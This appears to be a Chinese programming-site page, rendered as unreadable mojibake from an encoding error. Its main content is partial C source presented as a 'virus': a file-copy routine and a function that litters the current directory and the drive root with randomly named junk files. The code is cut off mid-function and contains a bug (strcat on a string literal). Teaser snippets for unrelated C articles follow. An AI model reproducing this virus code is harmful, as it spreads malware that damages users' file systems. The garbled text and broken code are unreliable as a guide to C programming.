Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

Ò»¸öC²¡¶¾ !

//Á¬½ÓÍ·Îļþ
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//¿½±´ÎļþÄ£¿é
int copyfile (char *infile, char *outfile)
{
    FILE *in,*out; //¶¨ÒåÎļþÖ¸Õë
    in = fopen(infile,"r"); //´ò¿ªÎļþ
    out = fopen(outfile,"w"); //½¨Á¢Îļþ
    while (!feof(in)) //ÅжÏÎļþÊÇ·ñÒѽáÊø
    {
        fputc (fgetc(in),out); //´Óin¶ÁÒ»×Ö·ûµ½out
    }
    fclose (in); //¹Ø±ÕinÎļþ
    fclose (out);//¹Ø±ÕoutÎļþ
    return 0; //·µ»Ø
}
int MakeRubbish (void)
{
    int i; //ÉùÃ÷ÕûÐαäÁ¿i
    FILE *fp; //ÎļþÖ¸Õëfp
    char *path; //·¾¶Ö¸Õë
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"}; //³õʼ»¯Ö¸ÕëÊý×é
    char *addtion = ":\\";
    for (i = 0; i<5; i++) //Ñ­»·4´Î
    {
        char tempname[] = "XXXXXX" ; //Ëæ»úÃû×Ö
        NewName = mktemp(tempname);  //½¨Á¢Î¨Ò»µÄÎļþÃû
        fp = fopen(NewName,"w");  //´´½¨Îı¾Îļþ
        fclose (fp); //¹Ø±ÕfpÎļþÁ÷
    }
    path = strcat(disk[getdisk()],addtion); //µÃµ½¸ù±àºÅ
    chdir(path); //¸Ä±ä¹¤×÷Ŀ¼
    for (i = 0; i<5; i++) //Ñ­»·´ÎÊý
    {
        char tempname[] = "XXXXXX"; //´®¸³ÈëÊý×é
        NewName = mktemp(tempname); //½¨Á¢Î¨Ò»µÄÎļþÃû
        fp = fopen(NewName,"w");    //´´½¨ÐÂÎļþ
        fclose (fp); //¹Ø±ÕÎļþ
 &n


Ïà¹ØÎĵµ£º

ÎÒµÄCʵ¼ù(7)£ºÎ»¼ÆÊý

  λ¼ÆÊý¾ÍÊǶÔÒ»¸öÊýÖоßÓÐÄ³Ð©ÌØÕ÷µÄλ½øÐмÆÊý¡£¿´ÏÂÃæÊµÏÖ£º
/* bitscount.c£ºÎ»¼ÆÊý */
/* ¼ÆËãxÖÐ1λµÄÊýÄ¿£º·½°¸1£¬²ÉÓ÷ÖÖβßÂÔ */
inline int pop(unsigned x){
/* ¶Ôÿ¸ö2λ×ֶΣ¬ÏÈÎö³öÆäÓҶ˵Ä1룬ÔÙÎö³öÆä×ó¶ËµÄ1λ£¬È»ºóÈÃÕâÁ½¸öλÏà¼Ó */
x=(x & 0x55555555)+((x>>1) & 0x555555 ......

c/c++void¼°voidÖ¸ÕëÀàÐÍ

c/c++void¼°voidÖ¸ÕëÀàÐÍ
¡¡¡¡1.¸ÅÊöÐí¶à³õѧÕß¶ÔC/C++ÓïÑÔÖеÄvoid¼°voidÖ¸ÕëÀàÐͲ»ÉõÀí½â£¬Òò´ËÔÚʹÓÃÉϳöÏÖÁËһЩ´íÎó¡£±¾ÎĽ«¶Ôvoid¹Ø¼ü×ÖµÄÉî¿Ìº¬Òå½øÐнâ˵£¬²¢ÏêÊövoid¼°voidÖ¸ÕëÀàÐ͵ÄʹÓ÷½·¨Óë¼¼ÇÉ¡£
¡¡¡¡2.voidµÄº¬ÒåvoidµÄ×ÖÃæÒâ˼ÊÇ“ÎÞÀàÐÍ”£¬void *ÔòΪ“ÎÞÀàÐÍÖ¸Õ딣¬void *¿ÉÒÔÖ¸ ......

Fortran & C »ì±à

C µ÷ÓÃ Fortran
c2ffn.f
      SUBROUTINE NAMEAGE(NAME, NLEN, AGE, TEMP)
      CHARACTER*(*) NAME
      INTEGER NLEN,AGE
      REAL TEMP
C
      WRITE(6,1000) NAME(1:NLEN),AGE,TEMP ......

¹ØÓÚCÖеĻص÷º¯ÊýµÄÓ¦ÓÃ

ÔÚʹÓûص÷º¯ÊýÖУ¬ÍùÍù»áÉèÖÃÒ»¸öÖ¸Ïòº¯ÊýµÄÖ¸Õ룬ÄÇΪʲô²»Ö±½Ó½«º¯ÊýÃû×÷Ϊ²ÎÊý´«µÝÄØ£¿
Ô­ÒòÊÇ£ºÔÚCÓïÑÔÖк¯Êý±¾Éí²»ÊDZäÁ¿£¬µ«ÊÇ¿ÉÒÔ¶¨ÒåÖ¸Ïòº¯ÊýµÄÖ¸Õë¡£ÕâÖÖÀàÐ͵ÄÖ¸Õë¿ÉÒÔ±»¸³Öµ¡¢´æ·ÅÔÚÊý×éÖС¢´«µÝ¸øº¯ÊýÒÔ¼°×÷Ϊº¯ÊýµÄ·µ»ØÖµ£¬
ÏÂÃæÊÇÎÒÔÚÍøÉÏÕÒµ½µÄÒ»¸ö¹ØÓڻص÷º¯ÊýµÄСÀý×Ó£¨¶ÔÔ­ÎĵÄÀý×ÓÓÐËùÐ޸ģ©
Ô­ÎÄÁ ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ